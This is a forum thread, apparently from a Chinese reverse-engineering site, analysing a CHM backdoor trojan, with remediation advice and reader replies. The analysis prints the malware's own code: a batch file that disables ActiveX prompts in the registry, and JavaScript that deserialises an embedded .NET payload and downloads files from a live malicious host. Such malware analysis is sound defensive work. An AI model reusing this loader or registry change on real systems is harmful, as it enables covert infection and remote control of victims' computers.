jidesheng6 发表于 2021-6-13 21:17

CHM格式后门病毒分析



# CHM格式后门病毒分析

> 在吾爱上看到有个老哥说在TG下了个软件,怀疑有病毒,请求分析一下,我就下来看了一下,水平不足,还请各位海涵。


### 1、使用微步沙箱分析样本

首先把程序丢到微步沙箱跑一跑,分析结果在[这里](https://s.threatbook.cn/report/file/16006bced44aaa45d8d93543f9acd33b107139fdb819e2b5315a1e8015c5f748/?env=win7_sp1_enx86_office2013) 初步判断是一个恶意文件,之后我们来到执行流程这里看看这个软件做了什么操作。



> 大致就是这个com程序释放了一个AA.bat,A7.url,A7.chm这三个文件,接下来就是把这三个样本文件download到本地来看一下做了什么操作。


### 2、进行本地分析

> 每个样本具体得内容就不说了,我已经大致看过了,其内部的执行流程如以下流程图所示




`AA.bat文件内容:`

```Bash
echo off

cls
set bl=0
:setreg
if "%bl%"=="5" goto ex

set regpath=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%bl%
cls


@reg add "%regpath%" /v "1201" /d "0" /t REG_DWORD /f


set /a bl=%bl%+1


:ex
exit
```


`A7.url内容:其指向A7.chm`


`A7.chm内容如下:`

> CHM文件:编译的 HTML 帮助文件(Compiled HTML Help file)。


需要使用工具把CHM文件内容提取出来,如下图所示:




### 3、CHM文件的HTML文件解析

前面两步我们提取出来得`1.html`和`2.html`文件内容分别如下:

1.html (部分):

```JavaScript
var dotnet4 = function(path, execuablePath, downloadPath) {
    var invokeSuccess = false;

    function setversion() {
      new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v2.0.50727';
    }

    function base64ToStream(b) {
      var enc = new ActiveXObject("System.Text.ASCIIEncoding");
      var length = enc.GetByteCount_2(b);
      var ba = enc.GetBytes_4(b);
      var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
      ba = transform.TransformFinalBlock(ba, 0, length);
      var ms = new ActiveXObject("System.IO.MemoryStream");
      ms.Write(ba, 0, (length / 4) * 3);
      ms.Position = 0;
      return ms;
    }
   var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
    "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
    "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
    "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
    "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
    "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
    "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
    "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+
    "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
    "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
    "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+
    "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
    "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
    "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
    "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
    "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+
    "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
    "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+
    "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+
    "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
    "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
    "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABwAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
    "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVW0uYAAAAAAA"+
    "AAAA4AAiIAsBMAAAEgAAAAgAAAAAAAAeMAAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+
    "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAzC8A"+
    "AE8AAAAAQAAADAQAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAJQuAAAcAAAAAAAAAAAAAAAAAAAA"+
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
    "AAAALnRleHQAAAAkEAAAACAAAAASAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAADAQAAABA"+
    "AAAABgAAABQAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAaAAAAAAAAAAAA"+
    "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAASAAAAAIABQAQIwAAhAsAAAEAAAAAAAAA"+
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgIoDgAACgAA"+
    "KiYAAygPAAAKJioTMAMAvgAAAAEAABEAcxAAAAoKcxEAAAoLBwJvEgAACgwIcxMAAAooFAAACnMV"
    //很长一段都是上面的obj,这里有可能就是生成的shellcode
   
    var entry_class = 'TestClass';

    try {
      setversion();
      var stm = base64ToStream(serialized_obj);
      var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
      var al = new ActiveXObject('System.Collections.ArrayList');
      var d = fmt.Deserialize_2(stm);
      al.Add(undefined);
      var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
      o.Cp(path, execuablePath, downloadPath);
      invokeSuccess = true;
    } catch (e) {
      debug(e.message);
    }
    return invokeSuccess;
}
var href = "";


// setTimeout(, 0);
window.path = "http://www.dgf6.cn:7231/105";//这个网址里面都是恶意文件
window.execuablePath = "11";
window.downloadPath = "C:\\Users\\Public\\6253";//存放恶意文件的目录
(function task() {
    try {
      var path = window.path;
      var execuablePath = window.execuablePath;
      var downloadPath = window.downloadPath;
      var isSuccessv4 = "";
      var isSuccessv2 = "";
      isSuccessv4 = dotnet4(path, execuablePath, downloadPath);//下载文件
   
      if (isSuccessv4) {
            location.href = "2.html"//下载完成以后转到2.html
      } else {}
    } catch (e) {
      debug(e.message + "globalCode");
    }
})();
```


2.html文件内容:

```html
<img style="position:absolute; top:0px;left:0px; width:100%" src="http://img.youxiguancha.com/game/2015/01/12/1421043095_5.jpg"/><!--?Z?-鰜测漜I聖Jhz匃0c汣?┑睢uF??誃|'枮?柖?鹵`}汱U??せ 舂鴦?怯Y?蓆阼釲2e=暫a?Y-D頿0宔?刹宧?r醭l?{-蹹襷z[C摖拫?歆耼b?佤(欗瘦喁ms鲖 "Ib硿<?窖?莿q?H`G欪坙?s*?>
~ ?递驌?操討仿酄
䲠醠膩渕?聿?z懙t槪耬+`裾疃i渢Z4?釪 M鱈>慥Te扐?怹孬IU?@?;o鼩供?D蠊騨Y厘朻?"?dW7?w@駋輽?謚4sbRy?赽赽赽椏OI?c佢b赽-->
```


从上面的两个文件中我们可以看到,1.html应该是要执行一些恶意的shellcode,随后再在其恶意文件网址中下载其他得恶意文件,因为分析过程中提示我的虚拟机缺少文件,无法运行某个文件。功力不深没有继续分析下去了,随后2.html中的内容就是一张普通的图片,我觉得可能就是用来装一下把,图片内容如下:






> 在这里做个小的说明:这种使用CHM文件作为后门的病毒,就是使用kali来做的简单后门,主要就是通过activex来调用本地得可执行文件进行侵入,因为chm后门也是今天刚知道,所以只能猜测一下,具体得解释在这里:[高级组合技打造chm后门](https://blog.csdn.net/u012324979/article/details/51979969)


### 4、归纳总结

总得来说这个木马的执行流程如下:

运行com文件=》分别释放AA.bat、A7.url、A7.chm到指定路径,进行注册表键值得创建,具体是为了什么暂时不明,可能是为了设置ie直接允许运行activex操作,随后com文件运行A7.url,而A7.url指向得是A7.chm,实际运行得样本的过程中会发现A7.chm被打开的一瞬间会自动执行其中的1.html然后会打开浏览器进行下载等操作(因为在虚拟机执行下载时,也被物理机得火绒拦截到了。),等到运行完毕展示2.html得内容,这种属于`meterpreter` 后门,`也就是我们执行完毕以后,机器会主动连接到对方得机器,我们机器会变成对方的肉鸡。` (其中很多地方没分析到位,我的能力只能分析很小很小的一部分,明天也要上班,比较赶时间。)


### 5、解决方案

使用杀毒软件对全盘进行一个彻底查杀,检查程序的自启动列表,注册表得自启动项目是否正常,检查自己电脑的计划任务列表中是否有未知的计划任务程序,检查自己电脑得任务管理器后台是否有描述不清的后台程序,通过判断程序名称和描述自行甄别。

> 最后,希望中招得老哥不要担心,这种木马一般只是为了控制你的电脑,并不会对您得计算机有什么数据上得损害,做好全盘查杀工作,自行查找可疑程序进行手动清理和隔离,就算不会对数据造成损失,也请及时备份好重要文件其余存储设备中,平时对待可疑得文件(如exe,word,vbs,js、com、bat)保持高度警惕,如:进行沙箱运行(本地沙箱和云端沙箱)、虚拟机运行。


样本文件: (解压密码:52pojie)

jidesheng6 发表于 2021-6-15 09:04

FFF全部成为F 发表于 2021-6-15 08:47
准确说是CHM里面的html吧,你去看看Ramnit病毒的分析,这个病毒会给HTML文档的js部分写入自己的二进制数 ...

是的,单独提取出来的chm打开以后会提示是否要执行activex操作,那一步写入注册表应该就是把这个提示取消掉了

FFF全部成为F 发表于 2021-6-15 15:38

jidesheng6 发表于 2021-6-15 09:04
是的,单独提取出来的chm打开以后会提示是否要执行activex操作,那一步写入注册表应该就是把这个提示取消 ...

分析的还蛮透彻的,个人觉得可以结合Ramnit蠕虫病毒拿来联合分析做个科普加深印象(多喝水有利于健康{:301_998:})

jidesheng6 发表于 2021-6-13 21:21

感觉这一篇好水。。。。都有点不好意思发了。。。

雅雅虫 发表于 2021-6-13 21:24

多谢老哥 我觉得没事就放心了 多谢多谢

penz 发表于 2021-6-14 01:19

学习了,谢谢楼主

goodista 发表于 2021-6-14 07:59

多谢老哥,学习了,哈哈哈

nanaqilin 发表于 2021-6-14 08:55

jidesheng6 发表于 2021-6-13 21:21
感觉这一篇好水。。。。都有点不好意思发了。。。

对于我们这样刚入行的人来说,一点也不水了

Wapj_Wolf 发表于 2021-6-14 10:08

厉害了,要不,还真不知道CHM也能挂毒。

wildfire_810 发表于 2021-6-14 11:52

一层套一层的木马。还真麻烦

pousse 发表于 2021-6-14 18:23

学习了,chm文件也能传毒啊

小小学生 发表于 2021-6-14 21:28

啊哈 从那人的求助帖看到的 就跑过来看了,很有分析精神
页: [1] 2 3
查看完整版本: CHM格式后门病毒分析